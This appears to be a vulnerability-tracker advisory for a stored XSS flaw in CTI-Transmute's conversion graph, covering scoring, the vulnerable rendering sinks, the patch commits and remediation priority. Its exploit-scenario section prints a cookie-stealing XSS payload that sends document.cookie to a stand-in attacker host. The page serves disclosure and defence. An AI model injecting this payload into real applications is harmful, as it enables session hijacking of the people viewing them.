Skip to main content

CTI-Transmute EUVDEUVD-2026-55633

| CVE-2026-72751 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-08-10 CIRCL GHSA-p8v9-h3m5-mvj9
5.1
CVSS 4.0 · Vendor: CIRCL
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Craft malicious CTI payload with XSS in node label
  2. Delivery
    Publish or share payload via CTI feed or import
  3. Exploit
    Victim analyst converts data in CTI-Transmute
  4. Install
    Analyst opens conversion graph
  5. C2
    Hover or select poisoned node triggers Pivotick innerHTML
  6. Execute
    JavaScript executes in analyst's browser session
  7. Impact
    Exfiltrate session credentials or perform in-browser actions

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires two conditions to both be met: (1) the attacker must control or influence CTI data that is converted and rendered by CTI-Transmute - this includes MISP events, STIX bundles, or any other CTI format the tool processes, whether sourced from an external feed, a shared repository, or user-supplied import; and (2) a victim user must open the conversion graph UI and interact with the graph in a way that triggers Pivotick's HTML-resolving paths, specifically hovering over or selecting a node containing the malicious value. The CVSS PR:N metric confirms no authentication of the attacker is required to craft the malicious CTI payload; however, the UI:A metric confirms victim interaction is mandatory - passive viewing without node selection may not trigger all vulnerable paths (particularly the properties panel sink). The raw-JSON popup sink additionally requires the victim to explicitly click 'Open raw JSON' on a node. Exploitation is limited to the browser session of the analyst viewing the graph and does not directly affect the server or other users' sessions unless session credentials are exfiltrated and reused.

Impact

The CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:N/UI:A/VC:L/VI:L/VA:N) places this at 5.1 (Medium). The network attack vector and low attack complexity reflect that the attacker merely needs to craft malicious CTI data and have it ingested and visualized - no special network position or race condition is required. The UI:A metric correctly captures that a victim analyst must open and interact with the graph. Impact is bounded to limited confidentiality and integrity (VC:L/VI:L), consistent with classic stored XSS: session token theft, credential harvesting, or in-browser actions performed as the victim are realistic but not full system compromise. No KEV listing exists, and no public exploit or POC has been identified at time of analysis, reducing urgency compared to actively weaponized XSS bugs. EPSS data was not provided in the source intelligence. The stored nature of the XSS - where payload persists in converted CTI data and fires on any analyst viewing the graph - is more dangerous than reflected XSS: a single poisoned STIX or MISP feed can affect all users of a shared CTI-Transmute instance. Threat intelligence analysts are the primary user population, making session hijacking a meaningful risk given their access to sensitive threat data.

Exploit ScenarioDerived

An attacker with the ability to influence CTI data ingested by a target organization - for example, by publishing a malicious STIX bundle to a shared threat intelligence feed - embeds a crafted node label such as </span><img src=x onerror=fetch('https://attacker.example/steal?c='+document.cookie)> in a STIX object. When a CTI analyst imports and converts the feed in CTI-Transmute and views the resulting graph (hovering over or selecting the malicious node), Pivotick passes the unescaped label to template.innerHTML, the onerror handler fires, and the analyst's session cookie is exfiltrated to the attacker's server. No public POC has been identified, but the vulnerability mechanics are straightforward and the fix itself documents the exact payload class.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.3% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Aug 10, 2026

Stored cross-site scripting in CTI-Transmute's conversion graph allows attacker-controlled CTI content (MISP or STIX objects) to execute arbitrary JavaScript in any analyst's browser who views the graph. The Pivotick graph library rendered node labels, sublabels, edge labels, node types, property names, property values, and hash algorithm identifiers through HTML-parsing operations (innerHTML, template.innerHTML) without sanitization, and a separate sink used an interpolated document.write() for the raw-JSON popup. The CVSS 4.0 score is 5.1 (Medium) with no authentication required of the attacker but user interaction required of the victim; no public exploit or KEV listing has been identified at time of analysis.

RemediationAI

Two sequential patch commits are available upstream and confirmed by source-code diff evidence. The first commit (b50451a) introduces a graphSafety.js module that HTML-escapes node labels, sublabels, and edge labels via escapeHtml() before data is handed to Pivotick, and replaces the document.write() raw-JSON popup with DOM-based construction using textContent to prevent markup injection. The second commit (d34ccac) addressed additional Pivotick rendering paths not covered by the first patch, applying escaping and textContent-based assignment to node types, property names, property values, hash algorithm identifiers, child attributes, and edge properties. Operators should update to a release incorporating both commits; a specific tagged release version was not independently confirmed from the available intelligence, so tracking the MISP/cti-transmute repository for an official release is advised. As a compensating control prior to patching, restricting access to the CTI-Transmute graph interface to trusted internal users only (e.g., via network-level controls or authentication gateway) reduces exposure, since exploitation requires a victim analyst to view attacker-controlled CTI data in the graph - blocking untrusted external CTI feeds from reaching the conversion pipeline also limits the attack surface. Note that these controls do not address insider-threat or compromised-feed scenarios.

Affected VersionsENISA

cti-transmute 0 ≤1.4.0

Affected Packages

euvd cti_transmute no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

CTI-Transmute is a MISP-ecosystem web tool that converts between CTI formats such as MISP and STIX and visualizes the conversion output as an interactive graph. The graph renderer is built on the Pivotick library, which processes node and edge label strings through innerHTML-based operations - specifically, its tryResolveHTMLElement method calls template.innerHTML with caller-supplied strings, turning any embedded markup into live DOM nodes. A second independent sink existed in the 'Open raw JSON' popup, which used document.write() with a template literal constructed from the raw CTI object; crafted JSON values could break out of the intended <pre> context and inject executable markup. Because all values in the graph originate from external CTI data, every field reachable by Pivotick (node labels, sublabels, edge labels, node types, property names, property values, hash algorithm names, child attributes, and STIX object types) was effectively attacker-controlled. The root cause is CWE-79: insufficient output encoding before data crosses from a data context into an HTML rendering context. Affected product is identified by CPE cpe:2.3:a:misp:cti-transmute:*:*:*:*:*:*:*:*, with the version wildcard indicating all versions prior to the patch commits are affected.

Know when Misp gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (CIRCL) PRIMARY 5.1 MEDIUM
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N
vuln.today AI 6.1 MEDIUM

Network-delivered stored XSS; attacker needs no privileges; victim interaction required to trigger rendering; scope changes to victim browser session with limited data and action impact.

3.1 AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
4.0 AV:N/AC:L/AT:N/PR:N/UI:A/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N

Primary rating from Vendor (CIRCL).

CVSS VectorVendor: CIRCL

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
None
User Interaction
Active
Vulnerable system: Confidentiality
Low
Vulnerable system: Integrity
Low
Vulnerable system: Availability
None
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

DescriptionCVE.org

CTI-Transmute is affected by a stored cross-site scripting (XSS) vulnerability in the conversion graph used to visualise converted MISP and STIX content.

Attacker-controlled values originating from converted CTI data were passed to multiple HTML-parsing sinks in the graph user interface without sufficient neutralisation. In particular, node labels, node sublabels, edge labels, node properties, edge properties, and node types could contain crafted HTML or JavaScript content.

The Pivotick graph library renders some of these values through HTML-parsing operations. Consequently, a malicious value such as an HTML element containing an event handler could be interpreted as markup rather than displayed as plain text. The first remediation explicitly notes that Pivotick rendered node and edge labels as HTML and therefore introduced escaping before data was handed to the graph renderer.

A separate vulnerable sink was present in the Open raw JSON functionality. The raw object associated with a graph node was inserted into a new document using document.write() and an interpolated HTML string. Crafted JSON content could therefore break out of the intended <pre> element and inject executable markup. The fix replaced this construction with DOM APIs and assigns the JSON using textContent.

The initial correction did not cover all Pivotick rendering paths. A subsequent patch addressed additional XSS vectors in the graph properties panel. Values derived from the original CTI object-including property names, property values, hash algorithm names, child attributes, edge properties, and STIX object types-could still reach Pivotick's HTML resolver. According to the patch, Pivotick's tryResolveHTMLElement processes string values using template.innerHTML, allowing malicious markup to execute when a graph node is hovered over or selected.

The complete remediation therefore:

  • HTML-escapes node labels, node sublabels, and edge labels before they are passed to Pivotick.
  • Restricts graph node type values to a safe identifier character set.
  • Wraps node and edge property values in DOM elements populated through textContent, preventing Pivotick from treating attacker-controlled strings as HTML.
  • Replaces the raw-JSON popup's interpolated document.write() with DOM construction and textContent.

Threat Intelligence Overview

EPSS Score
0.3%
Top 81% exploitable
Prevalence
Low
niche CTI format conversion tool used within the MISP ecosystem
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.3%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

26
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +26
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

More in Misp

View all
CVE-2018-19908 HIGH POC
8.8 Dec 06

An issue was discovered in MISP 2.4.9x before 2.4.99. Rated high severity (CVSS 8.8), this vulnerability is remotely exp

CVE-2022-29528 CRITICAL POC
9.8 Apr 20

An issue was discovered in MISP before 2.4.158. Rated critical severity (CVSS 9.8), this vulnerability is remotely explo

CVE-2022-48328 CRITICAL POC
9.8 Feb 20

app/Controller/Component/IndexFilterComponent.php in MISP before 2.4.167 mishandles ordered_url_params and additional_de

CVE-2026-44381 CRITICAL POC
9.3 May 13

SQL injection in MISP threat intelligence platform versions prior to 2.5.37 allows remote unauthenticated attackers to m

CVE-2022-29534 HIGH POC
7.5 Apr 20

An issue was discovered in MISP before 2.4.158. Rated high severity (CVSS 7.5), this vulnerability is remotely exploitab

CVE-2023-37306 HIGH POC
7.5 Jun 30

MISP 2.4.172 mishandles different certificate file extensions in server sync. Rated high severity (CVSS 7.5), this vulne

CVE-2021-41326 CRITICAL
9.8 Sep 17

In MISP before 2.4.148, app/Lib/Export/OpendataExport.php mishandles parameter data that is used in a shell_exec call. R

CVE-2018-12649 CRITICAL
9.8 Jun 22

An issue was discovered in app/Controller/UsersController.php in MISP 2.4.92. Rated critical severity (CVSS 9.8), this v

CVE-2020-15411 CRITICAL
9.8 Jun 30

An issue was discovered in MISP 2.4.128. Rated critical severity (CVSS 9.8), this vulnerability is remotely exploitable,

CVE-2020-29006 CRITICAL
9.8 Nov 24

MISP before 2.4.135 lacks an ACL check, related to app/Controller/GalaxyElementsController.php and app/Model/GalaxyEleme

CVE-2021-35502 CRITICAL
9.8 Jun 25

app/View/Elements/genericElements/IndexTable/Fields/generic_field.ctp in MISP 2.4.144 does not sanitize certain data rel

CVE-2021-39302 CRITICAL
9.8 Aug 19

MISP 2.4.148, in certain configurations, allows SQL injection via the app/Model/Log.php $conditions['org'] value. Rated

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy